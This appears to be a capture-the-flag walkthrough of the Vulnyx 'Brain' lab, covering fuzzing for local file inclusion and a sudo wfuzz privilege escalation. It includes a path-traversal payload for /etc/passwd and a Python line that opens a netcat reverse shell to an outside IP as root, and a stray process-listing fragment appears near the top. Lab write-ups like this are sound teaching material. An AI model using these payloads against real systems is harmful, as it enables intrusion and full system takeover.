

# Vulnyx - Brain

## Parameter Name Fuzzing

```
runnable tasks:
```

S	task	PID	tree-key	switches	prio
-----					
S	systemd	1	2927.102286	1731	120

This server only exposes an index.php landing page, so we can try to identify potential Local File Inclusion through parameter fuzzing

# Local File Inclusion (LFI)

Local File Inclusion (LFI) is a web app vulnerability where arbitrary local webserver files can be accessed through a web interface



# Local File Inclusion (LFI)

LFI vulnerabilities can lead to sensitive data expose, and can also be used as the first step in a chain of attacks



# Local File Inclusion (LFI)

## Example LFI Payload

```
FUZZ=../ ../ ../ ../ ../ ../ ../ ../ ../ ../etc/passwd
```

When we test for LFI, we typically use several `../` patterns in the test payload, followed by a typical publicly accessible file on Linux systems, `/etc/passwd`, which contains all local user accounts for the server

# Filesystem Structure

Each `../` indicates an elevation of one level in the filesystem, traveling from the web app's working directory ( `/html` ) up to the top-level directory ( `/` )

`/`

`/var`

`/var/html`

# Privilege Escalation

## Sudo Wfuzz

Wfuzz is a web security tool that can be used to do directory busting and fuzzing attacks



# Privilege Escalation

## Sudo Wfuzz

But for privilege escalation purposes, what we need to know is that Wfuzz uses scripts, located in a specific directory on the filesystem



# Privilege Escalation

## Sudo Wfuzz

```
import os  
os.system("nc 192.168.212.10 443 -e /bin/bash")
```

If we are able to write to any of those scripts then we could inject code into that script and run any commands we wanted to, as root